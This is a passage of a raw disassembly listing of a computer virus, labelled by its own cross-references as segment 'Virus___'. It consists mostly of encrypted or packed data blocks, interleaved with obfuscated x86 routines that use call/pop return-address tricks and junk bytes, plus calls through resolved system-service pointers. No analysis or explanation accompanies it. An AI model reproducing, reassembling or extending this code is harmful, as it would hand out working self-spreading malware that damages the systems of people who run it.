		dd 3DCC4215h, 1EEEB8EDh, 8D0F8385h, 609282B5h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0FE857F8h, 50000000h, 5942704Dh, 0D5487DC6h,	13734BACh
		dd 953F9D6h, 5D315D95h,	505A5909h, 0BD7CB966h, 0E9243489h
		dd 0Ch,	0E6689C5Ah, 1ABA9029h, 1CE034FAh, 0F10FBA90h, 0E9502EDAh
		dd 12h,	0A4A4CB30h, 62F16D6Fh, 8CFA4283h, 4274E332h, 0B19042B5h
		dd 1195FF67h, 0F095D2Ah, 388h, 89CA8000h, 850FC00Bh, 48h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 24C35242h
		dd 0E963C5AFh, 5E7h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0FFC35141h, 0FAE55012h, 5ED4D2F5h, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0C321AFC3h, 0F8DB531h, 8BF5095Dh, 6092ABB5h,	65958B09h
		dd 8D095D1Ah, 8A0F2046h, 6, 30F98D29h, 46A095Dh, 0ACEDD781h
		dd 605039A6h, 5E8h, 0F421600h, 0CAB5A1DEh, 610EB35Fh, 60240489h
		dd 331B501h, 0D281095Dh, 34E1857Dh, 0BB95FF61h,	0F096092h
		dd 0C00BD6B7h, 13840Fh,	0B5890000h, 95D2315h, 53AE9h, 0BF98B00h
		dd 5D0B658Dh, 207E8009h, 28840F00h, 1000005h, 5D0F058Dh
		dd 0BD316009h, 95D16ADh, 6A20468Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 1B87C353h
		dd 8589F419h, 96092A7h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0F2C35646h, 6667ED52h, 327F281h, 29098D8Bh
		dd 0D0E9095Dh, 80000000h, 814016DDh, 122553C7h,	0BF665016h
		dd 489E818h, 31B58924h,	6A095D14h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 2568312Dh
		dd 899C0588h, 5D0585BDh, 0CA8A5009h, 3240489h, 5D18DD95h
		dd 0BB95FF09h, 8B096092h, 5D1F0DBDh, 66D88B09h,	0BFF896BAh
		dd 310BB3D3h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 6E1DD302h, 0F1A5BF66h, 5E9h, 0E0107800h
		dd 0DB0BAD18h, 35840Fh,	81660000h, 0E9AC5BEAh, 41Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 69C35747h, 0D58D8BAFh
		dd 8B095D25h, 3D9501CBh, 80095D0Ch, 850F0038h, 0FFFFFF2Ah
		dd 18E9h, 0F7816600h, 830F46B8h, 6, 9DD958Bh, 8948095Dh
		dd 5D18AD95h, 0A7853B09h, 0F096092h, 4B82h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 819A3C39h, 39FFBBF1h, 5C388062h, 1E840Fh, 0AE90000h
		dd 7B000000h, 0EBA16578h, 0CAD94C90h, 2F388043h, 0FFA8850Fh
		dd 958BFFFFh, 95D091Dh,	55006A40h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 6D95AAECh, 9D0C0DEFh
		dd 0EF8AC0F2h, 92AFBD83h, 0F000960h, 12A84h, 0B9BD2900h
		dd 50095D27h, 489F98Bh,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 7305B94Ch, 3426125h, 6092AF85h
		dd 998D8B09h, 90095D26h, 0FBBF6660h, 0CE95329h,	8D000000h
		dd 0F6A4CDA5h, 18135DC7h, 58A96B66h, 5E85061h, 0E5000000h
		dd 11A14BEAh, 59C88B66h, 8E990h, 47720000h, 9C2721ABh
		dd 8B665EA7h, 0B9046AC8h, 218D41A8h, 16E2BF50h,	4897915h
		dd 4880F24h, 66000000h,	0FF111DBAh, 6092BB95h, 98E1B909h
		dd 0D88B6520h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0C8C35747h, 948E3B6Bh, 8EDB589h, 0DE9095Dh, 0AF000000h
		dd 59977769h, 6E9E8BC1h, 9283B2B6h, 12E958h, 0AE6B0000h
		dd 0C5AE8610h, 0A21538FCh, 68B674A7h, 0FF735770h, 840FDB0Bh
		dd 2Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
		dd 0FEC35747h, 8CC32D70h, 229E9F5h, 80570000h, 0C65937C9h
		dd 85890000h, 95D323Dh,	90FE8B58h, 0B65046B1h, 0BD8B905Bh
		dd 95D24C1h, 0BD0B1E6Ah, 95D2105h, 50C88A90h, 1F9AB966h
		dd 0FE890h, 48EE0000h, 98AD656Ch, 1E71B3E2h, 0CF97A26h
		dd 95FF5FA9h, 96092BBh,	608D3DBFh, 66D88B68h, 6A58D08Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 4CDDC351h, 2A9AC574h, 0BB0D980h, 5C840FDBh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 603BC352h, 0FE9h, 96850300h, 200EED23h
		dd 0E5D5333Ch, 0BDA13F6Dh, 0E96146B3h, 16Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 60C35747h, 0EF816653h
		dd 90593C87h, 0AE5CCBB9h, 71B9504Ch, 90608AFEh,	929BB5FFh
		dd 6A0960h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B509F8C3h, 95D2941h, 929F95FFh, 6A0960h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0BC523BC3h, 66606034h, 0C28BD68Bh, 0AE861h, 3F50000h
		dd 7FD754Eh, 2C214ED7h,	4198D8Bh, 615E095Dh, 850FC00Bh
		dd 8Eh,	61D0BF0Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0E1C35141h, 7540B26h,	0E78877C4h, 840F6043h
		dd 6, 15398D89h, 10E8095Dh, 11000000h, 5630D219h, 98930779h
		dd 3080B518h, 0BAAD3314h, 1DEBB793h, 9D29615Fh,	95D0BD5h
		dd 92A385C7h, 10960h, 0EA800000h, 61E949h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 89EE7DC3h, 6519531h,	6A61095Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 64F7C351h
		dd 0C681C6F9h, 11Ch, 0FFFA82E9h, 0DE9FFh, 0D2670000h, 89617AFEh
		dd 0CBC6FF96h, 68D2F4E2h, 0C446618Ah, 0C0E8BA66h, 76240481h
		dd 0E83BBA1Eh, 11h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h
		dd 618D8B39h, 59095D22h, 6A49E680h, 21958B00h, 0FF095D20h
		dd 6092ABB5h, 0E1BD2909h, 0FF095D0Bh, 5D206595h, 858BF909h
		dd 96092A3h, 0E8BA6690h, 0B9515064h, 3ABC3881h,	0EE8905Ah
		dd 0E9000000h, 33CE18EBh, 5D2E6FCFh, 0BDB0FD34h, 399D893Bh
		dd 59095D27h, 92B3858Dh, 6A0960h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 9EAED1C3h, 0E361D49Bh
		dd 0BA66906Dh, 9050CC3Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0E7C35747h
		dd 0EFB854AEh, 891EABEEh, 5D1AB185h, 70858D09h,	6A096092h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C16FC352h, 0C8219241h, 0F98B5018h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0A342C357h, 0E195FFAFh, 66095D12h, 1049E981h
		dd 8B66C08Bh, 35958BCEh, 83095D09h, 5D1809BDh, 9750009h
		dd 329BD83h, 7400095Dh,	8B535013h, 4D0B8C0h, 9D8D0000h
		dd 95FA89Ch, 585BD3FFh,	329BD83h, 7400095Dh, 0B8535011h
		dd 4D0h, 0A79B9D8Dh, 0D3FF095Fh, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 418DABC3h
		dd 35CD9A6h, 5D139DBDh,	6AC08B09h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F10AC350h
		dd 3CF64B81h, 9E612909h, 2191958Bh, 8958095Dh, 5D20899Dh
		dd 8C209h, 17860Fh, 12E90000h, 63000000h, 219E946Bh, 0D7A1999Ch
		dd 0CEC20178h, 4436A995h
		db 3Ah
; ---------------------------------------------------------------------------


loc_5A4FB5:				; CODE XREF: Virus___:loc_5A3DEFj
		mov	eax, eax
		push	0
		push	edx
		call	sub_5A4FC2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4FC2	proc near		; CODE XREF: Virus___:005A4FBAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5A4FC2	endp

; ---------------------------------------------------------------------------
		dec	eax
		xchg	eax, ebp
		add	ebp, [esi-6D1C7A73h]
		pusha
		or	[edx+0], ebp


loc_5A4FDE:				; CODE XREF: Virus___:005A4FF7j
		push	ecx
		call	sub_5A4FE7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4FE7	proc near		; CODE XREF: Virus___:005A4FDFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5A4FE7	endp

; ---------------------------------------------------------------------------
		jnb	short loc_5A4FDE
		jmp	loc_5A5003
; ---------------------------------------------------------------------------
		dw 4BE2h
		db 19h,	84h, 0FEh
; ---------------------------------------------------------------------------


loc_5A5003:				; CODE XREF: Virus___:005A4FF9j
		mov	[ebp+95D02F5h],	eax
		jmp	loc_5A5083
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_5A504F
		push	1
		push	dword ptr [ebp+95D08F1h]
		lea	eax, [ebp+9607613h]
		call	eax
		mov	[ebp+95D18F1h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+95D18F1h]
		jmp	loc_5A5081
; ---------------------------------------------------------------------------


loc_5A504F:				; CODE XREF: Virus___:005A5014j
		mov	byte ptr [ebp+95D3335h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+95D0815h]
		lea	eax, [ebp+9607613h]
		call	eax
; ---------------------------------------------------------------------------
		db 89h,	85h, 0E9h
		db 0Bh,	5Dh
; ---------------------------------------------------------------------------


loc_5A506E:				; CODE XREF: Virus___:005A50B8j
		or	[ebp+5D20A585h], ecx
		or	[eax+6Ah], edx
		and	[edx+5], ch
		push	esi
		call	dword ptr [ebp+95D0BE9h]


loc_5A5081:				; CODE XREF: Virus___:005A504Aj
		popa
		retn
; ---------------------------------------------------------------------------


loc_5A5083:				; CODE XREF: Virus___:005A5009j
		shl	eax, 6
		jmp	short loc_5A50C1
; ---------------------------------------------------------------------------
		dd 0AC0000h, 0AC02CCh, 0AC02E4h, 0
		dd 44B3B36Ch, 75AABF4Bh, 21BBB76Fh, 4CB0B374h, 4DBAF4ECh
; ---------------------------------------------------------------------------


loc_5A50AC:				; CODE XREF: Virus___:005A50DBj
		lodsb
		ficom	dword ptr [eax-6D69DB8Bh]
		and	[esi-52h], edi
		xchg	eax, ecx
		push	ecx
		jge	short loc_5A506E
		mov	cl, [ecx+7Eh]
; ---------------------------------------------------------------------------
		db 2 dup(0BFh),	45h
; ---------------------------------------------------------------------------
		push	es


loc_5A50C1:				; CODE XREF: Virus___:005A5086j
		mov	edx, 325521B4h
		frstor	byte ptr [ecx]
		sbb	edx, 84037FFEh
		push	edi
		push	ebp
		inc	esp
		ficomp	word ptr [edi+65h]
		adc	al, 0DEh
		enter	1821h, 0DAh
		cwde
		ja	short loc_5A50AC
		add	esp, edx
		wait
		lea	ecx, [edi-6Dh]
		sub	eax, 0E155D35Eh
		push	0C021DED4h
		cmpsd
		das
		xor	esp, [edx]
		jmp	near ptr 31385ED3h
; ---------------------------------------------------------------------------
		dw 158h
		dd 0A2B83F1Ch, 7CC6D3B1h, 28ABDA0Fh, 22F76780h,	55DED3DCh
		dd 0AA8D8AD9h, 256762A0h, 0A457DA30h, 2883CAB5h, 8BBF4781h
		dd 0F221D359h, 9C5D8258h, 2883D9A8h, 71C9AEC0h,	25676233h
		dd 0A457DA30h, 2883CAB5h, 868E4781h, 0F221D359h, 0BC578258h
		dd 2883C7C0h, 21DE5ECFh, 0A889DA60h, 7CCA3BA5h,	0E1558411h
		dd 0C989DA66h, 21DEDA05h, 7E1D8523h, 25FAA608h,	25FA9E41h
		dd 21DEDA76h, 0FB1D8D77h, 96D15B9Ch, 145B1CDBh,	77D78735h
		dd 38E7478Ah, 15B6D3DCh, 0A0378D2Ch, 75B8FE54h,	0ADD1AFCFh
		dd 21DEDA1Eh, 11FF4F0Dh, 9421D35Bh, 2883D216h, 21DD5B8Eh
		dd 0D45EDAC0h, 325B5776h, 4BD7BA46h, 22368C18h,	1DEDA0Ch
		dd 0A8801958h, 0A0DAFE77h, 3BDAFEC5h, 67DEDAC0h, 81F81936h
		dd 49542706h, 0C9EB6BCCh, 21DEDA01h, 3FD81433h,	341B4B2Eh
		dd 686A122Ch, 0C61F5A6Ah, 4B0E253Eh, 22368F30h,	1DEDA18h
		dd 0A8831951h, 0A0DAFE6Ah, 38DAFE47h, 64DEDA81h, 0AD8F1995h
		dd 2EB48C33h, 1D6233B1h, 0D15488A3h, 21B4DE66h,	21DD3253h
		dd 7CFEDA03h, 4D578742h, 655FDEE4h, 21C7DE44h, 749BDA30h
		dd 30EA8BDBh, 0C9C0CF70h, 21DEDA02h, 21DECA03h,	303788D1h
		dd 24DEDAC0h, 98A846A8h, 8C7AE84Fh, 328F6079h, 4BE18AE0h
		dd 59A5158h, 1F486507h,	21559B0Eh, 0C060BC93h, 655783A6h
		dd 0EF55DE14h, 70DEB040h, 21DED9E4h, 0E287FA06h, 592535Ah
		dd 59A5B85h, 21DECFC4h,	0E28F9B60h, 0DB55815Dh,	0DB7F6A70h
		dd 2F666519h, 155FB9D4h, 0DB7D8627h, 90535394h,	0A8D787CBh
		dd 7CEC37DDh, 2EDEB039h, 21DED090h, 2557D50Ch, 47DEDA06h
		dd 0DEF59EBDh, 0DC4B5151h, 0A8D787D2h, 417B82E5h, 70DEB039h
		dd 21DED9F0h, 0E287FA0Ch, 592535Fh, 59A5B07h, 21DEC385h
		dd 0E28F9BC0h, 739A540Bh, 945543AFh, 2883E9DDh,	21D85B03h
		dd 9455DA06h, 2883DA36h, 0EDDB220Ah, 0A8DEDAC2h, 417B86E5h
		dd 391E5939h, 84BE5F91h, 0E1EDD36Ch, 21DC36BFh,	28742903h
		dd 7CFC431Ch, 76DEB0C9h, 21DED988h, 0E281FA30h,	5A25347h
		dd 59A5B08h, 21DEC302h,	0E2899D03h, 0C0F2D667h,	9C55FBD5h
		dd 2883F181h, 21DEC8D9h, 5EC2BA18h, 0E82E6273h,	9ECB0509h
		dd 361C5A14h, 0E72A982Ch, 7CEDEF45h, 0AC559969h, 2883C525h
		dd 0BF01B2E1h, 255FAA3Eh, 1512A522h, 77DEB02Fh,	21DED969h
		dd 0E280FAC0h, 5AA533Eh, 59A5B34h, 21DEC11Ch, 0E2889C0Ch
		dd 8CD4D309h, 0B1594834h, 29CB6F7Eh, 21B4D39Dh,	21DD3230h
		dd 79FEDA30h, 655782DBh, 655FDE28h, 21C3DE22h, 719EDA03h
		dd 66B64942h, 0E20696A1h, 2E4F7C69h, 0A4530D87h, 28BEAC0Bh
		dd 93B4785h, 0F121D35Bh, 0C98DDA69h, 21DEDA82h,	7A1D81E0h
		dd 25FA86E9h, 25FA9EB1h, 21DEDA0Dh, 571D894Fh, 21CC33DAh
		dd 61A5DA03h, 878A865Eh, 0CE1871F6h, 8FF7B68Ch,	68BA5DD6h
		dd 2DAB5F91h, 21B4D351h, 21DD3256h, 79FEDA03h, 65578242h
		dd 655FDEE4h, 21C5DE44h, 719EDA30h, 330DF3DBh, 4D4E11D0h
		dd 145B534Bh, 0ACD78713h, 7CDAFF04h, 0CF64BCC9h, 705B53B6h
		dd 4BD78738h, 22368A18h, 1DEDA0Ch, 0A886195Eh, 0A0DAFE47h
		dd 37DAFEC5h, 61DEDAC0h, 84351930h, 0C05FBCABh,	0A418E200h
		dd 2883E939h, 74DEB055h, 21DED9EBh, 0E283FA81h,	5B2539Dh
		dd 59A5B64h, 21DEC334h,	0E28B9F18h, 0E56321AEh,	9EB8F173h
		dd 0EDB6B6B9h, 97526D9Eh, 5DA5BFDh, 4E24F36Ch, 32757BBh
		dd 9421D345h, 2883D219h, 0C98EDA6Ch, 21DEDA00h,	791D82A1h
		dd 25FA9E49h, 25FA9EE1h, 21DEDA25h, 0B91D8A58h,	0E453D19Eh
		dd 0ACD78734h, 41A8C986h, 0B84B5188h, 0DED787E2h, 74DEB0B0h
		dd 21DED9D8h, 0E283FA18h, 5B25351h, 59A5B02h, 21DECF07h
		dd 0E28B9F81h, 0ADD1F11Ah, 21DEDA66h, 2ADB57B9h, 0A457D345h
		dd 2883CBBDh, 98B572Dh,	0A418D35Eh, 2883E9B4h, 386B5193h
		dd 0C9D78742h, 21DEDA34h, 0F9C61EABh, 21DC5B03h, 1E6BDA06h
		dd 59A5153h, 0C567BA85h, 77B834AFh, 0EBEB6406h,	2155BB68h
		dd 25FA9E91h, 21D5335Fh, 7BDBDA06h, 0A1BF69D1h,	0A97DAFADh
		dd 4B8684E3h, 22368C60h, 1DEDA30h, 0A8801946h, 0A0DAFE78h
		dd 3DDAFE42h, 67DEDA03h, 35BA19D7h, 2E5A02B7h, 2EE08400h
		dd 21DEDCB6h, 88535318h, 0DED78707h, 7CD6CFB3h,	74DEB00Ah
		dd 21DED969h, 0E283FAC0h, 5B2533Dh, 59A5B34h, 21DEC11Ch
		dd 0E28B9F0Ch, 4610DEB5h, 5866B4CBh, 57CD5F0Ch,	0F121D3A0h
		dd 0C98FDA0Ah, 21DEDA33h, 781D8338h, 25FA9685h,	25FA9E87h
		dd 21DEDA15h, 0AC1D8BC0h, 2D607AE2h, 0ABB8223Bh, 7F2B8CE4h
		dd 2B9F5F91h, 9CEFD351h, 2883F137h, 12EB5FC5h, 4B99D3DCh
		dd 223688C0h, 1DEDA60h,	0A884196Ah, 0A0DAFE4Ch,	3ADAFE48h
		dd 63DEDA06h, 4BBB1951h, 620EAD7Dh, 3037DFD0h, 0FADEDA60h
		dd 68E4DDEAh, 0FE3001F8h, 0F814F5B6h, 185E2EAEh, 0C2AC3F6Bh
		dd 0EE55BC1Eh, 0E5FADE41h, 72C9210Ah, 2B9757BBh, 0C880D345h
		dd 21DEDA07h, 148556DFh, 0B5A0989Ch, 0DEC431A2h, 7CD6CF75h
		dd 21CD3369h, 5866DA30h, 95A4D999h, 0E27F973Fh,	0F691866h
		dd 0DB1F1CB6h, 325B5708h, 4BD7BAB6h, 22368860h,	1DEDA30h
		dd 0A8841942h, 0A0DAFE58h, 38DAFE42h, 63DEDA03h, 0F5D019D3h
		dd 3812A4EAh, 0DE2F6D6Fh, 70DEB0E0h, 21DED9F0h,	0E287FA0Ch
		dd 592535Fh, 59A5B07h, 21DEC085h, 0E28F9BC0h, 78B4AAC5h
		dd 0A8FAEF6Eh, 7CF8939Dh, 5C67BC05h, 145B1CCEh,	66D78730h
		dd 21DEC968h, 777C10C0h, 5A0B1B9Bh, 0A76A0558h,	0DF12CF42h
		dd 25AF43C0h, 36F8Fh, 93B6D35Eh, 71FEA011h, 0FDE36492h
		dd 10D1A4B0h, 2152D561h, 7EDEDA18h, 255F8256h, 40A11222h
		dd 2E2C5162h, 21DEDA08h, 346B25C0h, 0ACD78768h,	41A8C9B5h
		dd 71DEB011h, 21DED9E4h, 0E286FA06h, 59A535Bh, 59A5B85h
		dd 21DEC6C4h, 0E28E9A60h, 4700603Ch, 54A57A19h,	0DF61D594h
		dd 21B40AF9h, 21DD3253h, 79FEDA81h, 65578203h, 655FDE44h
		dd 21C4DE14h, 719EDA18h, 2C32A4CFh, 796023Dh, 35F76788h
		dd 0A457D3DCh, 2883CCADh, 332B47E9h, 0A418D36Dh, 2883E92Dh
		dd 7660BC4Bh, 21DA324Eh, 1D83DA03h, 9168704Ch, 3B52D590h
		dd 2EDEDA60h, 21DECEBBh, 21D03218h, 0D1AADA0Ch,	57D9FC33h
		dd 69B2A7C1h, 539D70ABh, 59A519Eh, 35466064h, 2155F8E7h
		dd 21C85417h, 2A36DA0Ch, 0ECDEDA06h, 66CE8F84h,	1B3DA298h
		dd 566161FDh, 7FF775AFh, 25FA9EB9h, 91F5647Eh, 73DEB054h
		dd 21DED9EEh, 0E284FA03h, 58A53DBh, 59A5BC4h, 21DECF64h
		dd 0E28C9830h, 0B4D78CC9h, 2883C201h, 29CB6FF9h, 21B4D35Eh
		dd 21DD32D7h, 7FFEDAC0h, 555784A3h, 655FDE14h, 21C9DE3Ch
		dd 7798DA0Ch, 11ECE9C5h, 786B5375h, 0ACD7878Bh,	41A8C945h
		dd 71DEB069h, 21DED9D8h, 0E286FA18h, 59A5354h, 59A5B02h
		dd 21DEC207h, 0E28E9A81h, 4D03E5B9h, 21DB33C8h,	0C975DA30h
		dd 0AAEA6AE6h, 7CC62FB1h, 0D053510Fh, 0DED78712h, 1460BC51h
		dd 245B532Eh, 4BD78763h, 22368B30h, 1DEDA18h, 0A8871955h
		dd 0A0DAFE4Ah, 36DAFE47h, 60DEDA81h, 0F171991h,	0AC55ECF7h
		dd 2883C811h, 21B40AE7h, 21DD325Bh, 7EFEDA06h, 5D5785C0h
		dd 655FDEA5h, 21C2DEE4h, 7699DA60h, 4A1D68F3h, 0F313E92Ch
		dd 0C8BE0350h, 21DEDA15h, 4EC77EEDh, 0DC573C49h, 7F10C7B3h
		dd 0B85B96FCh, 0C8AEF4A8h
		dd 21DEDA0Ch, 0E86247F2h, 5EDA755h, 32A3A9DEh, 77B328B9h
		dd 22914FDCh, 705B5301h, 4BD78701h, 22368B18h, 1DEDA0Ch
		dd 0A887195Fh, 0A0DAFE4Fh, 3DDAFEC5h, 60DEDAC0h, 0E80F1931h
		dd 198DD42Eh, 0C8161FAAh, 21DEDA18h, 96C805BCh,	23212821h
		dd 0AB25FBB6h, 417B74E6h, 83E967F4h, 4B065656h,	22368F18h
		dd 1DEDA0Ch, 0A883195Bh, 0A0DAFE6Fh, 35DAFEC5h,	64DEDAC0h
		dd 0A85C1935h, 7CFCE7ADh, 0F44B5111h, 5D78700h,	77DEB002h
		dd 21DED9EBh, 0E280FA81h, 5AA539Eh, 59A5B64h, 21DEC034h
		dd 0E2889C18h, 305426E3h, 2E8DA3FCh, 21DECB82h,	21D23381h
		dd 0E090DAC0h, 6254DC52h, 0F5DD81A2h, 0AAB8D051h, 2E1ED0C3h
		dd 21DD2782h, 74DEB003h, 21DED969h, 0E283FAC0h,	5B2533Dh
		dd 59A5B34h, 21DEC01Ch,	0E28B9F0Ch, 46C09A32h, 9F66FF5Bh
		dd 6D94CE90h, 12EB5F06h, 4B91D33Dh, 22368F30h, 1DEDA18h
		dd 0A8831951h, 0A0DAFE6Ah, 36DAFE47h, 64DEDA81h, 6C7E1995h
		dd 2536AB20h, 0E5DEDA30h, 41615A74h, 0E755885Ch, 836DEB09h
		dd 0AAB88259h, 478EBB5Bh, 0AA721179h, 98DAFE24h, 44B2A7A0h
		dd 9FB8DA93h, 6557B3CAh, 0DE86DE22h, 7CD6CFB6h,	69105A88h
		dd 57CD5F4Dh, 21B4D300h, 21DD3267h, 7EFEDA18h, 5D5785CFh
		dd 655FDE22h, 21C9DE27h, 7699DA81h, 0CD12D903h,	0B06BD9BBh
		dd 0DED78703h, 77DEB0C8h, 21DED9E4h, 0E280FA06h, 5AA535Dh
		dd 59A5B85h, 21DEC0C4h,	0E2889C60h, 0ACFF4BC1h,	0A8AEC3D7h
		dd 7CCAB799h, 0DF55BC0Fh, 0A0FA1A80h, 8C31BB58h, 8C5B53FFh
		dd 4BD7876Fh, 22368830h, 1DEDA18h, 0A8841956h, 0A0DAFE52h
		dd 3BDAFE47h, 63DEDA81h, 4D7F1992h, 0EDC446ECh,	33315B45h
		dd 0AAEBB0A3h, 7CEF8B89h, 70DEB00Fh, 21DED9EBh,	0E287FA81h
		dd 5925399h, 59A5B64h, 21DEC334h, 0E28F9B18h, 0C329FD9Eh
		dd 0BC55266Eh, 2883D906h, 0C98EDAEBh, 21DEDAC3h, 791D8240h
		dd 25FA9EB9h, 25FA9E99h, 21DEDA18h, 581D8A46h, 7B2D5152h
		dd 73DEB0C2h, 21DED928h, 0E284FA60h, 58A536Ah, 59A5B1Ch
		dd 21DEC108h, 0E28C9806h, 34C0E497h, 0BDDA33E9h, 222565CFh
		dd 7CC443EDh, 4261BC39h, 47C55173h, 0D889DAB5h,	21B4C18Dh
		dd 21DD3252h, 78FEDA81h, 6D578303h, 655FDE44h, 21C9DE14h
		dd 709FDA18h, 72AE7ECFh, 4BC551BCh, 22368F03h, 1DEDA81h
		dd 0A883199Dh, 0A0DAFE0Ch, 3BDAFE74h, 64DEDA18h, 6A731959h
		dd 894F9CB4h, 0B7612FFFh, 12BDCF19h, 74DEB018h,	21DED988h
		dd 0E283FA30h, 5B25345h, 59A5B08h, 21DEC202h, 0E28B9F03h
		dd 43DBB4BEh, 2959D50Fh, 73DEDA60h, 1F757BBh, 0A884D345h
		dd 7CF9BF91h, 0EB55BC0Fh, 12EB5FC5h, 4B99D3DCh,	22368AC0h
		dd 1DEDA60h, 0A8861968h, 0A0DAFE5Ch, 3CDAFE48h,	61DEDA06h
		dd 0BBE91953h, 67BAF4C5h, 79B07223h, 290F574Bh,	0A18FD36Dh
		dd 0C98749FEh, 21DEDA08h, 960007AFh, 21DECBEBh,	0F495C481h
		dd 2F6CF98Dh, 0F7ECAB1Fh, 17DEEEEAh, 98B83E85h,	7180B2D5h
		dd 7E265155h, 25FA9E88h, 21DA528Eh, 4189DAC0h, 21558401h
		dd 91518F8Fh, 59A5319h,	21B48208h, 21DD3251h, 7EFEDA03h
		dd 5D578542h, 655FDEE4h, 21C4DE44h, 7699DA30h, 0C90379DBh
		dd 0F124A4BCh, 0E00A24BCh, 21CA332Eh, 9139DA81h, 7A492387h
		dd 66C31836h, 794D1DACh, 7E03699h, 9421C416h, 2883D213h
		dd 0ADD12D88h, 21DEDA87h, 267F67F1h, 0A453D33Dh, 28BEAC23h
		dd 0C98EDA72h, 21DEDA0Fh, 791D8226h, 25FA9E8Ah,	25FA9E00h
		dd 21DEDAD4h, 971D8A20h, 35DF67B9h, 0F121D345h,	2ADB6F87h
		dd 0A457D35Bh, 2883FC4Ah, 0C98FDAEBh, 21DEDAC3h, 781D8340h
		dd 25FA96B9h, 25FA9E99h, 21DEDA1Ah, 0EF1D8B47h,	9EB8A4A2h
		dd 0B4F79D52h, 2883EA89h, 71DEB020h, 21DED9D8h,	0E286FA18h
		dd 59A5354h, 59A5B02h, 21DEC007h, 0E28E9A81h, 0F647102Fh
		dd 0C9260C00h, 21DEDA3Dh, 0DE592D2Ah, 0FDC3938Dh, 0D3EDF95Ah
		dd 0DC6B5385h, 7ED78783h, 0AF57E9h, 2155D33Dh, 0C98CDA5Ah
		dd 21DEDA1Bh, 7B1D802Ch, 25FA8E8Fh, 25FA9E82h, 21DEDA9Ah
		dd 0FF1D8882h, 8520AE8Fh, 0AA6C2C19h, 2E245118h, 21DEDC81h
		dd 28635306h, 0A8D7872Ah, 7CDDBB04h, 74DEB0C9h,	21DED988h
		dd 0E283FA30h, 5B25345h, 59A5B08h, 21DEC602h, 0E28B9F03h
		dd 0B2D281E4h, 6EA94B8Fh, 3E075BB5h, 0C8934C4Bh, 21DEDB51h
		dd 3176785h, 0A453D35Bh, 28BE7F7Dh, 0C98FDAEBh,	21DEDAC3h
		dd 781D8340h, 25FA96B9h, 25FA9E99h, 21DEDA1Bh, 251D8B47h
		dd 0B11FA05Dh, 0F5A73F3Bh, 4B4E8AC8h, 22368860h, 1DEDA30h
		dd 0A8841942h, 0A0DAFE58h, 3DDAFE42h, 63DEDA03h, 7A19D3h
		dd 97FE526Ah, 0AA2D74ECh, 7CFC538Dh, 684B2511h,	4BD78707h
		dd 22368B06h, 1DEDA03h,	0A88719D8h, 0A0DAFE8Ch,	3ADAFE24h
		dd 60DEDA30h, 42151949h, 8FA467E5h, 0AC57CEB7h,	2883CEAEh
		dd 845A470Ch, 0B455D3A0h, 2883C075h, 266EBAA3h,	2B368848h
		dd 0DADEDA0Ch, 0BC2DFD58h, 1516F71Ch, 10D1813Fh, 21DE5ACFh
		dd 7984DA60h, 2E368A51h, 6DEDA18h, 8D43F4A3h, 0C6D55DD5h
		dd 3334A82Fh, 2437952Ch, 0BDDEDAC0h, 0AB58BE0Eh, 9457496Eh
		dd 2883D255h, 0A7D1BA9Ch, 21DEDA04h, 0AAB8BB63h, 478EBB7Ah
